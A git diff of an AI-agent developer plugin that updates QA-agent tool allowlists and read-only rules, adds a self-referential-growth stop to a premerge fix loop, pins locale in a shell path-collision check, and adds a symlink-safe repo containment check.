"Bash(jq*)", "Read", "Write(.uberdev/research/**)", "StructuredOutput"] --- You are the **devil's-advocate monitor** in a `/uberdev:testers` squad audit. diff --git a/plugins/uberdev/agents/testers-monitor-primary.md b/plugins/uberdev/agents/testers-monitor-primary.md index 9648cf85..b737e999 100644 --- a/plugins/uberdev/agents/testers-monitor-primary.md +++ b/plugins/uberdev/agents/testers-monitor-primary.md @@ -3,7 +3,7 @@ name: testers-monitor-primary description: Primary monitor for /uberdev:testers. Reads all 6 personas' findings from the current round's aggregated wave file, generates per-persona follow-up prompts for the next round, promotes findings to verified:true when reproduced by ≥2 independent personas against the same invariant. Read-only. model: inherit color: blue -allowed-tools: ["Bash(date*)", "Bash(jq*)", "Bash(sha256sum*)", "Read", "Write(.uberdev/research/*)"] +tools: ["Bash(date*)", "Bash(jq*)", "Bash(sha256sum*)", "Read", "StructuredOutput", "Write(.uberdev/research/**)"] --- You are the **primary monitor** in a `/uberdev:testers` squad audit. diff --git a/plugins/uberdev/agents/testers-panicked-grandma.md b/plugins/uberdev/agents/testers-panicked-grandma.md index 939e063f..aa0ab29e 100644 --- a/plugins/uberdev/agents/testers-panicked-grandma.md +++ b/plugins/uberdev/agents/testers-panicked-grandma.md @@ -4,7 +4,7 @@ description: Slow-reader, easily-confused persona for /uberdev:testers. Mis-clic # WAIT 4.8 sonnet: was sonnet; using inherit (= session Opus 4.8 1M) until Sonnet 4.8 ships model: inherit color: yellow -allowed-tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(date*)", "Read", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_snapshot", "mcp__plugin_playwright_playwright__browser_console_messages", "mcp__plugin_playwright_playwright__browser_navigate_back", "Write(.uberdev/research/*)"] +tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(date*)", "Read", "StructuredOutput", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_snapshot", "mcp__plugin_playwright_playwright__browser_console_messages", "mcp__plugin_playwright_playwright__browser_navigate_back", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_press_key", "Write(.uberdev/research/**)"] --- You are the **panicked-grandma** persona in a `/uberdev:testers` squad audit. @@ -82,7 +82,7 @@ When a `StructuredOutput` tool is available (the Workflow dispatch path), ALSO r ## Rules -- **Read-only.** Never edit app code. Your `allowed-tools` whitelist enforces this; do not attempt to use tools outside it. +- **Read-only.** Never edit app code. Your `tools` frontmatter allowlist is a ceiling over tool NAMES — `Edit` is not on it — and that is the whole of what an agent card can impose: it confines your `Write` to no directory, so staying out of app code is a rule you follow, not one the loader enforces. Do not attempt to use tools outside the list. (`allowed-tools` is the SLASH-COMMAND key — the agent loader ignores it on an agent card, which is why even the tool-name ceiling was not in force until #749.) - **Evidence required.** Drop any finding lacking a screenshot OR DOM hash OR repro_steps. The aggregator will discard unanchored findings. - **No invariant, no finding.** If the issue you spotted doesn't map to an invariant in `invariants.yaml`, downgrade to `severity: suggestion` and explain. - **No early-stop.** Run to budget. Do not stop on first bug. diff --git a/plugins/uberdev/agents/testers-power-user.md b/plugins/uberdev/agents/testers-power-user.md index d8ac4961..c90355e8 100644 --- a/plugins/uberdev/agents/testers-power-user.md +++ b/plugins/uberdev/agents/testers-power-user.md @@ -4,7 +4,7 @@ description: Power-user persona for /uberdev:testers. Pastes 10k-char inputs, op # WAIT 4.8 sonnet: was sonnet; using inherit (= session Opus 4.8 1M) until Sonnet 4.8 ships model: inherit color: orange -allowed-tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(node*)", "Bash(date*)", "Read", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_fill_form", "mcp__plugin_playwright_playwright__browser_press_key", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_snapshot", "mcp__plugin_playwright_playwright__browser_console_messages", "mcp__plugin_playwright_playwright__browser_tabs", "mcp__plugin_playwright_playwright__browser_network_requests", "Write(.uberdev/research/*)"] +tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(node*)", "Bash(date*)", "Read", "StructuredOutput", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_fill_form", "mcp__plugin_playwright_playwright__browser_press_key", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_snapshot", "mcp__plugin_playwright_playwright__browser_console_messages", "mcp__plugin_playwright_playwright__browser_tabs", "mcp__plugin_playwright_playwright__browser_network_requests", "Write(.uberdev/research/**)"] --- You are the **power-user** persona in a `/uberdev:testers` squad audit. @@ -84,7 +84,7 @@ When a `StructuredOutput` tool is available (the Workflow dispatch path), ALSO r ## Rules -- **Read-only.** No `Edit`, no general `Write`. Your `allowed-tools` whitelist is your ceiling. +- **Read-only.** Your `tools` frontmatter allowlist is your ceiling over tool NAMES — `Edit` is not on it — and that is the whole of what an agent card can impose. It confines your `Write` to no directory, so writing only to your scratch path is a rule you follow, not one the loader enforces. (`allowed-tools` is the SLASH-COMMAND key — the agent loader ignores it on an agent card, which is why even the tool-name ceiling was not in force until #749.) - **Evidence required.** Drop unanchored findings. - **No invariant, no finding** — downgrade to `severity: suggestion`. - **No early-stop.** Run to budget. diff --git a/plugins/uberdev/commands/premerge.md b/plugins/uberdev/commands/premerge.md index 96ac2c2e..d2993601 100644 --- a/plugins/uberdev/commands/premerge.md +++ b/plugins/uberdev/commands/premerge.md @@ -67,9 +67,54 @@ across attempts rather than `file:line`, because a fix moves lines and a location-keyed identity would report every survivor as brand new — the loop would see infinite progress and never stop. -`--converge` is the runaway backstop behind those two, not the stop condition, and -that distinction is the answer to the hazard RFC 0021 originally refused a loop -over: *"the third automatic attempt is where a fixer starts 'fixing' the test."* +A third measurement catches what those two cannot. Both compare fingerprint sets +drawn from independent full-stack reviews, so neither can tell a defect the +fixers just wrote from one that was always there. `STOP_SELF_REFERENTIAL` fires +on two consecutive **eligible** rounds, and eligibility is three conditions you +can read straight off the `PREMERGE_CONVERGE` line: `GROWTH=` is measured, it is +at or above `0.50` — at least half of the blockers the round returned did not +exist the round before **and** sit in files the previous repair modified — and +`BLOCKERS=` did not fall below `PREV=`. That last condition is what keeps the +stop off a loop that is working: a round that cut the reviewer's blocker count +repaired something, whatever its residual is made of, so it is never half of a +streak however high its ratio. A run log showing `GROWTH=0.90` twice and no stop +is that rule firing, not the detector failing. The findings that trip it are +filed as issues like every other survivor, not dropped. + +Why that measurement has to exist at all: a reviewer asked *what is wrong with +this?* samples from an **unbounded** set, so a round that comes back with no +blockers is a property of the sample, never of the stack. Find → fix → re-find +has no fixed point, and a loop that terminates when the critic goes quiet is +terminating on nothing. `GROWTH=` stands in for the fixed point the loop does not +have: the fraction of a round's blockers that landed in text the **previous +round's own repair wrote**. At `1.00` the loop is reviewing its own output, and +the correct response to that is to **stop**, not to repair again. + +`STOP_SELF_REFERENTIAL` pre-empts the budget stop deliberately, because *"it was +still winning, raise `--converge`"* and *"the loop was reviewing itself"* are +**opposite** operator responses — and an operator shown the budget stop for a run +that did the second will raise the budget on a loop that can never converge. For +the same reason the stop takes **two consecutive eligible rounds**, never one. +Each review is a fresh sample, and the files most likely to be resampled next +round are exactly the ones the last repair touched, so a single high round is +equally consistent with a healthy convergence whose repairs happen to be +concentrated in a few files. Dropping the two-round requirement — or reducing +eligibility to the ratio alone — makes the detector stop loops that were +working, the failure it exists to avoid. + +`GROWTH=` is a signal, not a proof. Attribution is at file granularity, so a +genuinely new defect elsewhere in a repaired file over-counts as growth. And it +prints `GROWTH=-` — *not measured*, a different answer from `0.00` — on attempt +1, on a round with no reviewer-raised blocker to divide by, and whenever the +previous repair left no readable scope list: it committed nothing, its list was +unreadable (announced on stderr), or it went through the Phase 3 CI arm, which +pushes real code edits but publishes no `fix-scope` list. That last one is the +case to watch — while a loop keeps repairing through CI it cannot accumulate two +eligible rounds, so `STOP_SELF_REFERENTIAL` is unreachable for it. + +`--converge` is the runaway backstop behind those three, not the stop condition, +and that distinction is the answer to the hazard RFC 0021 originally refused a +loop over: *"the third automatic attempt is where a fixer starts 'fixing' the test."* The attempt that achieves nothing is now caught **when it happens** rather than assumed to be the third one, and the fixer agents are told outright that a test they read as the wrong half is a finding to report and skip, never an obstacle to @@ -107,8 +152,9 @@ trusting a run's split. excluded **by number with a typed reason** and that reason is rendered into the stack PR body. - **It will not loop forever.** The loop ends on the attempt that stopped making - progress or made things worse; `--converge`'s ceiling of six is only the - backstop behind that, and waiting on CI has a bound of its own. + progress, made things worse, or began reviewing what its own repairs wrote; + `--converge`'s ceiling of six is only the backstop behind those three, and + waiting on CI has a bound of its own. - **It will not weaken a test to clear a finding.** Making the evidence stop complaining is not fixing the bug. A fixer that honestly reads the test as the wrong half says so and skips, and the run records that as an answer. diff --git a/plugins/uberdev/commands/testers.md b/plugins/uberdev/commands/testers.md index b4464422..5ccc538f 100644 --- a/plugins/uberdev/commands/testers.md +++ b/plugins/uberdev/commands/testers.md @@ -19,6 +19,6 @@ Spawn an 8-agent read-only QA audit squad against the target in **$ARGUMENTS** ( - `--no-issues` — skip `findings-to-issues`; report only. - `--rps-cap=N` — per-host RPS ceiling, [1, 1000], default 10. Enforced for curl traffic at lib/rate-limit-curl.sh; audited for Playwright/MCP traffic at Phase 5 (fail-the-run on breach). -**Read-only contract:** the squad has no `Edit` or general `Write` on app code; agent `allowed-tools` whitelists enforce it at the tool boundary. +**Read-only contract:** every squad agent declares a `tools:` whitelist — the key the agent loader honours — and none of them names `Edit`, so the loader withholds it at the tool boundary. That ceiling is over tool NAMES only: the personas keep a `Write` no card confines to a directory, so read-only on app code is a contract the squad is held to rather than a restriction that stops it. See the #749 amendment in `docs/rfc/0006-testers-command.md`. Now invoke the `uberdev:testers-pipeline` skill — it owns the pipeline (parse + auto-detect, then the Workflow script `skills/testers-pipeline/workflow.js` runs the N-round waves, report synthesis, and findings persistence in the background; the thin preflight emits the Workflow args and states the post-Workflow politeBreach exit-1 mandate). A `## No-Workflow fallback` (the retained inline `--watch` directive path) covers platforms without the Workflow tool. The skill renders inline, so `$ARGUMENTS` remains in scope. diff --git a/plugins/uberdev/docs/testing.md b/plugins/uberdev/docs/testing.md index 562da84f..3bab55c2 100644 --- a/plugins/uberdev/docs/testing.md +++ b/plugins/uberdev/docs/testing.md @@ -93,6 +93,12 @@ The complementary rule (`ci-wiring.test.sh` W10) is that **no `tests/*.test.sh` A job may execute its list as a single sequential `run:` step or fan it out across cost-balanced shards (`strategy.matrix.shard`). **That is an execution detail with no bearing on wiring:** the contract is the union of every `run:` block belonging to a job, so a test wired into any shard of `shape-checks` counts as wired into `shape-checks`. Do not infer the number of CI *runs* from the number of jobs above. +**A shard must run its whole plan, and the harness now says so out loud.** Every sharded `run:` block closes with a `SHARD-COVERAGE` tail, printed just ahead of the failure summary: it names that shard's plan length (`plan`), the number of invocations that went through the shard filter at all (`routed`, so the job's whole fixture list, not the shard's share of it), and the number the filter let through (`ran`), and it raises the block's failure count whenever `ran` and `plan` differ — or whenever the plan is set but its length reads as zero or non-numeric, which would otherwise let the comparison pass by erroring out. Wiring alone cannot promise this. The workflow can name every fixture, `tests/ci-shard-plan.py` can partition them correctly, and a shard can still execute one of them, because the filter's answer to a name it cannot find in the plan is `--- SKIP`, and a skip is not a failure: `shape-checks-windows` ran 6 of its 70 fixtures across six shards and reported green (#753). The tail measures the plan with `wc -w`, which splits on any whitespace, while the filter matches on single spaces — that asymmetry is deliberate, because a guard that re-derived the length the way the filter derives it would agree with a corrupted plan by construction and see nothing. `tests/ci-shard.test.sh` row S10 asserts the same property from outside CI, replaying each job's real `run_one` argv against its real per-shard plan and comparing the **aggregate** run count against the job's wired fixture count. + +**Reading the plan bytes.** The plan crosses a `$GITHUB_ENV` file between the planning step and the test step — one step writes it, the runner reads it back and re-exports it — and a delimiter defect at that boundary leaves no trace in a normal log. So every sharded job now runs `bash tests/ci-shard-diagnose.sh dump ` between the two. It is a **reporter, never a gate**: it always exits 0, and the gates are the coverage tail above and the CR refusal in `tests/ci-shard-env.sh`. Section **[A]** re-runs the producer and `od -c`s the plan line it emits, **[B]** is an `od -c` of `UBERDEV_SHARD_PLAN` as the dumping step inherited it through the file, and **[C]** probes every planned name through the filter's own membership rule and prints a `match=` / `miss=` tally. Either side alone would be ambiguous — a plan carrying a stray delimiter and a clean one can look identical from one end — which is why both are dumped. The same script carries three more verbs for local use, and its `TWO SHIMS, NOT ONE` header is load-bearing about why they are not interchangeable. `packer-bytes` is the one that drives the real packer with its stdout wrapped in a CRLF-translating text stream — in-process, which is what `python3` **is** under Git Bash — and the packer's own `sys.stdout.reconfigure(newline="\n")` is expected to override a wrapper installed around it from outside: against the shipped pin the verb comes back LF-only, and that flip is the assertion. `simulate` must **not** inherit that flip, because it drives the *consumer* — the CR refusal in `tests/ci-shard-env.sh` — and a guard whose only input arrives through the producer it is meant to test stops being tested the moment that producer is pinned. So `simulate` runs the packer unwrapped and re-applies the CR at the **process boundary**, downstream of every byte the packer has already written, where an in-process `sys.stdout.reconfigure` cannot reach it: the same pinned packer that yields `packer-bytes` zero CR still trips the refusal here (exit 2). `crlf-plan` involves no CRLF stream at all — it captures the real per-shard plan and applies the delimiter model to it directly, CR before every separator and none after the last entry. + +**What is settled, and what is still a model.** The *consuming* half is settled by execution, on any host: drive the live harness with a plan whose entries are CR-terminated and whose final CR was consumed at the file boundary, and exactly one name is left bounded by spaces on both sides, so exactly one fixture runs — the reported signature. Give every entry a trailing CR, the last one included, and nothing runs at all, which is not what CI reported, so that shape is refuted. The *producing* half is **not** settled. The working model is that under Git Bash `python3` writes stdout as a text stream and terminates each line CRLF; against that, `tests/ci-shard-plan.py` pins its own stdout to LF, and `tests/ci-shard-env.sh` refuses a CR-bearing pack outright (exit 2) rather than stripping it, so a regression in the pin kills the planning step instead of silently shrinking the suite. What can be shown off Windows is only that the pin is **sufficient** against interpreter-level newline translation — not that such translation is the cause on `windows-latest`. Settling that needs a Windows runner, and the dump step is where to read it: open the first `shape-checks-windows` run after this landed, take [A], [B] and the [C] tally, and state the delimiter actually observed. A plan of length N reporting `match=1` there, or a coverage failure on a job whose packer is already pinned, **refutes the model** — the cause would then lie elsewhere on the path, and this fix should not be treated as the fix. + > **When you add or remove a test file:** wire it into **both shape-check jobs** in `test.yml` by hand (and add it to the Windows skip-list block instead if it is a Unix-only runtime fixture). `ci-wiring.test.sh` runs first in both jobs and fails fast on any wiring drift. ## Writing a new test diff --git a/plugins/uberdev/lib/goal-state.sh b/plugins/uberdev/lib/goal-state.sh index 8b7eaf1b..3311e286 100644 --- a/plugins/uberdev/lib/goal-state.sh +++ b/plugins/uberdev/lib/goal-state.sh @@ -3859,14 +3859,38 @@ _uberdev_goal_rebase_collision_chain() { # comm -12 cares only about set contents, not iteration count, so this # saves one `sort -u` per remaining-PR iteration. local merged_sorted - merged_sorted="$(printf '%s\n' "$merged_diff" | sort -u)" + # LC_ALL=C ON EVERY MEMBER OF THE sort/comm TRIO, INCLUDING `comm` ITSELF. + # This compares PATHS AS BYTES. `sort` orders by the ambient collation and + # `comm`'s merge walk assumes the order its own collation would produce; when + # the two disagree the walk desynchronises and a `comm -12` intersection can + # miss a shared path, reporting NO collision between two PRs that do collide. + # + # THAT MISS IS NOT A DEFECT IN ITSELF, and this pin does not claim otherwise. + # The contract above is best-effort by design -- rc 0 always, collision + # detection never halts the goal -- and the `gh pr diff` arm right above + # already routes EVERY API failure to an empty path-set and so to the same + # silent non-collision, by a far more likely route. That fail-open is + # accepted by the contract and is deliberately left as it stands. Nor is the + # miss wholly unguarded downstream: its renumbering half is re-derived by + # `_uberdev_goal_ensure_version_bump`, which re-fetches `origin/` and + # compares head-vs-base itself before every merge dispatch (goal-watch.sh + # step 2c) and fails CLOSED when it cannot guarantee the bump. + # + # What the pin buys is narrower, and sits INSIDE that best-effort guarantee: + # when both path-sets ARE in hand, the comparison answers correctly instead + # of silently desynchronising. A collision missed because the API was + # unreachable is degraded INPUT, which the contract blesses; one missed while + # computing over complete input is a wrong ANSWER, which it does not. The + # sorts happen to share a shell today, so they agree by accident; pinning + # makes the agreement a property of the code. + merged_sorted="$(printf '%s\n' "$merged_diff" | LC_ALL=C sort -u)" local pr while IFS= read -r pr; do [ -n "$pr" ] || continue [ "$pr" = "$merged_pr" ] && continue local pr_diff intersection pr_diff="$(gh pr diff "$pr" --name-only 2>/dev/null || true)" - intersection="$(comm -12 <(printf '%s\n' "$merged_sorted") <(printf '%s\n' "$pr_diff" | sort -u))" + intersection="$(LC_ALL=C comm -12 <(printf '%s\n' "$merged_sorted") <(printf '%s\n' "$pr_diff" | LC_ALL=C sort -u))" if [ -n "$intersection" ]; then # Collision detected — refresh main and audit the transition. git fetch origin main 2>/dev/null || true diff --git a/plugins/uberdev/lib/premerge-findings.py b/plugins/uberdev/lib/premerge-findings.py index 47a73031..b51605ba 100644 --- a/plugins/uberdev/lib/premerge-findings.py +++ b/plugins/uberdev/lib/premerge-findings.py @@ -168,6 +168,7 @@ "STOP_GREEN", # the gate passed -- the loop's whole purpose "STOP_NO_PROGRESS", # an attempt changed neither the blockers nor the CI reason "STOP_REGRESSED", # our own fixes grew the blocker set + "STOP_SELF_REFERENTIAL", # the loop is now reviewing what its own repairs wrote "STOP_EXHAUSTED", # the runaway backstop "STOP_UNREADABLE", # evidence we could not read -- never reported as green ) @@ -185,6 +186,33 @@ CONVERGE_REPAIR_CEILING = 6 CONVERGE_WAIT_CI_CEILING = 8 +# The self-referential-growth stop. +# +# GROWTH is the fraction of an attempt's blockers that are BOTH new since the +# previous attempt AND sitting in a file the previous attempt's repair actually +# modified: work this loop made for itself. RFC 0021 A3 states the law +# ("never terminate a loop on a generative critic's silence") and its second +# corollary names this exact quantity as the cheap, computable divergence +# signal. This is that corollary made mechanical. +# +# WHY 0.50, AND WHY IT IS NOT A ROUND NUMBER. The numerator is work the last +# repair authored; the complement is everything the loop inherited. At 0.50 a +# repair round manufactured exactly as much new work as it inherited, and above +# it the repair is a net generator -- every further round enlarges its own +# haystack. The two recorded runs bound the choice without determining it: the +# pumped run measured 1.00 and the converging one 0.20. +# +# WHY TWO CONSECUTIVE ROUNDS AND NOT ONE. A3 section 2: attempt N's blocker set +# is a FRESH SAMPLE, so a defect present since attempt 1 but first rolled at +# attempt 3 counts as new -- and the files most likely to be resampled are +# exactly the ones the repair just touched. One high round is therefore +# consistent with a healthy convergence whose repairs are concentrated, and +# stopping on it is C3's failure: not a detector gone quiet, a detector that +# stops a loop that was working. Two in a row is what A3's own drafting +# measured (8/8, then 6/6) before it stopped. +CONVERGE_GROWTH_CEILING = 0.50 +CONVERGE_GROWTH_RUNS = 2 + # `plan` and `defer` legally run ONE ATTEMPT PAST the loop's last attempt. # # `converge` stops at `CONVERGE_REPAIR_CEILING + 1`, because that review is the @@ -252,6 +280,14 @@ MAX_LINE_DIGITS = len(str(MAX_LINE)) MAX_FINDINGS = 64 +# How many paths ONE attempt may add to the next attempt's wave plan from its +# fixers' `blocked_on_file` returns. Equal to the default `--max-per-wave`, so +# the widening can never exceed one extra wave's worth of files -- "optional, +# repeatable" with no cap is unbounded allow-list growth, and by +# CONVERGE_REPAIR_CEILING attempts a set that grows every round constrains +# nothing. Overflow is DROPPED, not refused: see `_read_blocked_on`. +MAX_BLOCKED_ON = 8 + _CONTROL = re.compile(r"[\x00-\x08\x0b-\x1f\x7f]") @@ -274,11 +310,39 @@ def __init__(self, token: str, detail: str) -> None: self.detail = detail -def fail(token: str, detail: str = "") -> "NoReturn": # type: ignore[valid-type] +def _refusal_line(token: str, detail: str) -> str: + """The module's one hard-refusal format. + + ONE function, two readers -- `main` announces the refusals that actually end + the process, and nothing else may re-type this shape. A second copy would + drift from the token every calling fence branches on. + """ message = f"premerge-findings: {token}" if detail: message = f"{message}: {detail}" - print(message, file=sys.stderr) + return message + + +def fail(token: str, detail: str = "") -> "NoReturn": # type: ignore[valid-type] + """Raise the module's hard refusal. IT DOES NOT PRINT -- `main` does. + + THE PRINT MOVED TO THE ONE PLACE THAT KNOWS THE REFUSAL WAS NOT ABSORBED. + Several callers here TOLERATE a refusal by design: `_read_blocked_on` drops + a malformed row and counts it, `_carry_prior_suggestions` skips a corrupt + attempt, `cmd_defer` falls back to the newest readable one. Printing inside + `fail` put this module's own hard-refusal format on stderr for every one of + those -- so an artifact with three bad rows emitted three lines that read + exactly like a fence abort and then exited 0, on fences contracted `0|74`. + An operator cannot tell "we refused" from "we absorbed this and carried on" + when both say the same thing in the same words. + + So the announcement happens where the outcome is known: `main` catches + `Refusal` and prints `_refusal_line` on the way to exit 74. Every tolerating + caller already announces its own absorption with its own token + (`attempt_unreadable_skipped`, `blocked_on_unreadable_skipped`, + `blocked_on_rows_dropped`, `attempt_fallback`), and `Refusal` carries the + token so those messages can name what they swallowed. + """ raise Refusal(token, detail) @@ -334,9 +398,18 @@ def _bounded_text(value: object, limit: int, token: str, what: str) -> str: def _repo_path(value: object) -> str: """Normalise a repo-relative POSIX path, or refuse. - Same predicate as `code_fixer_contract.py`'s scope validator, restated here - only because this file must reject BEFORE the aggregate is written -- a path - that escapes the repo has to die at parse time, not at publish time. + LEXICAL ONLY, and that is the whole predicate: `posixpath.normpath` plus the + `..`/`.git` first-segment check. It never touches the filesystem, so it is + NOT the same predicate as `code_fixer_contract.py`'s scope validator -- that + one pairs its lexical half with `beneath()`, a realpath+commonpath + containment check. This docstring used to claim the equivalence outright, + and the claim was false; a caller reading it as containment would have + shipped a symlink escape. Any caller turning a path into a FILESYSTEM + AUTHORIZATION decision must run `_beneath_repo_root` as well. + + Restated here rather than imported because this file must reject BEFORE the + aggregate is written -- a path that escapes the repo has to die at parse + time, not at publish time. """ if not isinstance(value, str) or not value: fail("finding_schema_invalid", "file must be a non-empty string") @@ -354,6 +427,45 @@ def _repo_path(value: object) -> str: return value +def _beneath_repo_root(root: str, relative: str) -> bool: + """The filesystem half `_repo_path` deliberately does not do. + + Same predicate as `code_fixer_contract.beneath`: realpath BOTH sides, then + `commonpath`. A tracked symlink whose path is lexically repo-relative and + whose target resolves outside the repo passes `_repo_path` and fails here. + No symlink is tracked in this repo today, which is exactly why the check + belongs in the code rather than in a sentence about the tree. + + THAT SAMENESS IS ASSERTED IN PROSE AND PINNED BY NOTHING. This body is a + transcription of `code_fixer_contract.beneath` (the only difference is that + this one takes a repo-relative argument and joins it), and no test imports + both and compares them. The two agree today -- executed across eleven + inputs, including a non-str argument, an absolute path, `..` and a + normalising path, with zero disagreements -- but agreeing today is what a + copy does right up until one side is hardened. This module has already been + burned by exactly that: `_repo_path`'s docstring records a prose-asserted + equivalence in this same file that was FALSE and would have shipped the + symlink escape this function exists to refuse. So: any change to either side + must be mirrored by hand, and the durable fix is an executed cross-module + equality row in tests/premerge-findings.test.sh, or importing the sibling + the way `code_fixer_contract.py` itself loads `run_manifest` and + `atomic_move`. Importing was weighed and not taken here: it would turn a + stdlib-only module into one whose import pulls in three sibling files, and + couple `/premerge`'s triage half to the fixer-authority half for six lines + of pure path arithmetic. + + Returns False on any error rather than raising: the caller drops a row it + cannot vouch for, and a validator that throws where the caller expected a + verdict is a validator that fails open at the call site. + """ + try: + root_abs = os.path.realpath(os.path.abspath(root)) + path_abs = os.path.realpath(os.path.abspath(os.path.join(root, relative))) + return os.path.commonpath((root_abs, path_abs)) == root_abs + except (TypeError, ValueError, OSError): + return False + + _RUN_ID_RE = re.compile(r"\A[0-9]{8}-[0-9]{6}-[0-9a-f]+\Z") @@ -968,8 +1080,88 @@ def _object_rows(values: "list", what: str) -> "list[dict]": return out +# The key `_read_blocked_on` stamps on a synthesised cross-file consequence, and +# the ONE predicate every consumer asks about one. +# +# A carried row is the loop's own bookkeeping. No reviewer raised it, it names no +# line, and its `summary` states a scheduling fact ("the fixer for X said it +# needed this file") rather than a defect. THE LINE THIS PREDICATE DRAWS IS +# EVIDENCE VERSUS WORK, and it is not the line between "counts" and "does not +# count": +# +# * NOT EVIDENCE, so it is inert for every question about whether repairing is +# WORKING -- the progress multisets (`_blocker_fingerprints`) and both sides +# of `_growth_ratio`. Counted there it manufactures churn: a consequence +# naming b, then c, then b reads as `FIXED=1 NEW=1` on every round while +# nothing is being repaired, which makes STOP_NO_PROGRESS and STOP_REGRESSED +# structurally unreachable. Anything that reads it as evidence is reading the +# loop's notes to itself as a finding. +# +# * STILL WORK, so it is live for every question about whether the stack is +# FINISHED -- the wave plan, the clean gate (`blockers_remaining=`, the only +# term SKILL.md `### 3c` routes to a fixer wave) and, once the loop stops +# with the edit still outstanding, the deferred issue set. Excluding it from +# those was a silent discard: a run whose only remaining blockers were +# carried gated green, dispatched nothing, and filed nothing. +# +# Filed, it is filed at CLEANUP tier -- see `_as_deferred_carry_row`. "It is work" +# does not make it a defect the reviewer proved. +# +# `isinstance` here and not at the call sites: `_read_attempt` proves `blockers` +# is an ARRAY and nothing proves its elements are objects, and a predicate that +# raised on a non-object would turn a malformed stored row into an +# `AttributeError` instead of whatever refusal its own reader already has. +def _is_carried(finding: object) -> bool: + return isinstance(finding, dict) and finding.get("blocked_on_carry") is True + + +def _reviewer_blockers(blockers: "list") -> "list": + """A blocker array narrowed to the rows a REVIEWER raised. + + ONE derivation of that population, for the three places that need it: + `_blocker_fingerprints`, `_growth_ratio`'s denominator, and the + `counts.blocker_reviewer` field `cmd_plan` writes. The field used to be a + subtraction over `cmd_plan`'s own locals -- `len(blockers) - len(synthesised)` + -- which is a THIRD spelling of the same question. It agrees with the filter + for every document this file builds, because `_normalise_findings` composes + a fixed key set and can therefore never stamp `blocked_on_carry` on a + reviewer row. But it is arithmetic over transient locals rather than a + predicate over the rows, so it answers on provenance where the other two + answer on the marker, and on a hand-edited or resumed artifact where a + reviewer row DOES carry the flag the two spellings return different numbers + (measured: filter 0, subtraction 1). Routing all three through here removes + the possibility rather than documenting it. + + NO VALIDATION HERE, DELIBERATELY. It filters and nothing else, so each + caller keeps the refusal it already had for a malformed row -- and a + non-object is never `_is_carried`, so it survives this filter and still + reaches the caller's own check in the same relative order. + """ + return [row for row in blockers if not _is_carried(row)] + + +def _as_deferred_carry_row(finding: "dict") -> "dict": + """A carried row as `cmd_defer` files it: same finding, cleanup tier. + + The row is `blocker` in `classified.json` because that is the array + `_fix_waves` reads and the gate counts -- it has to be, or no fixer is ever + assigned to it. But that severity is `severity_source: controller` + bookkeeping rather than a reviewer's judgement, and by the time this verb + runs the only thing left to do with the row is file it. See the call site for + what blocker tier cost when it reached the filer. + + A SHALLOW COPY, not a mutation: the caller iterates rows read straight off + disk and hands them to `_encode_aggregate`, and rewriting a stored row in + place would make the same artifact encode differently on a second call. + Every value in a finding is a JSON scalar, so nothing here is shared deeply. + """ + row = dict(finding) + row["severity"] = "suggestion" + return row + + def _blocker_fingerprints(document: "dict") -> "collections.Counter[str]": - """The attempt's blockers as a MULTISET of fingerprints. + """The attempt's REVIEWER-RAISED blockers as a MULTISET of fingerprints. A multiset and not a set, because the fingerprint is deliberately line-independent: two genuinely distinct blockers at different lines of one @@ -979,9 +1171,36 @@ def _blocker_fingerprints(document: "dict") -> "collections.Counter[str]": STOP_NO_PROGRESS on an attempt that removed a real blocker -- stopping early, with budget unspent, on exactly the success it was built to keep going for. Counting them keeps that visible. + + CARRIED ROWS ARE NOT IN IT, AND THAT IS THE SAME DEFECT `_BLOCKED_ON_SUMMARY` + ONLY HALF-CLOSED. That comment removed the attempt number from the + synthesised summary because one consequence persisting across two attempts + was arriving under two fingerprints and reading as `fixed=1 new=1` every + round -- manufactured progress. But the fingerprint is `hash(file, summary)` + and the FILE varies too: a fixer that reports lib/b.sh on one attempt and + lib/c.sh on the next produces exactly the same phantom churn, from the same + stalled state. Measured: one reviewer blocker that never changed, with + blocked-on rows naming b, c, b, printed `FIXED=1 NEW=1 CONTINUE` on every + round while nothing was being repaired. STOP_NO_PROGRESS needs an UNCHANGED + multiset and STOP_REGRESSED needs `fixed == 0`, so both were structurally + unreachable for as long as any row was carried -- and the loop ran to its + counter backstop on a stack it was not repairing. The attempt-2 stall was + additionally mislabelled STOP_REGRESSED, because the first carried row is an + `appeared` with no `fixed` beside it. + + `_growth_ratio` already excludes these rows from both of its sides for the + same reason, so this is the two mechanisms agreeing on one population rather + than a new rule: the loop's progress claim is about what the REVIEWER + reported, and a carried row is neither the reviewer's finding nor the + previous repair's work. It also restores the identity the SKILL asserts + between the growth denominator and the `BLOCKERS=` field. + + A carried row is still dispatched to a fixer and still bounds the allowed + file set -- nothing here touches `_fix_waves`. What stops is the loop + treating its own scheduling notes as evidence of progress. """ prints: "collections.Counter[str]" = collections.Counter() - for finding in document["blockers"]: + for finding in _reviewer_blockers(document["blockers"]): value = finding.get("fingerprint") if isinstance(finding, dict) else None if not isinstance(value, str) or not re.fullmatch(r"[0-9a-f]{16}", value): # Pre-loop artifacts carry no fingerprint. Refusing is the only @@ -1029,6 +1248,397 @@ def _carry_prior_suggestions(out_dir: str, attempt: int) -> "list[dict]": return carried +# The controller-authored identity text of a carried cross-file consequence. +# +# NO ATTEMPT NUMBER IN IT, DELIBERATELY -- BUT NOT FOR THE CONSUMER THIS +# COMMENT USED TO NAME. This string becomes the row's `summary`, and 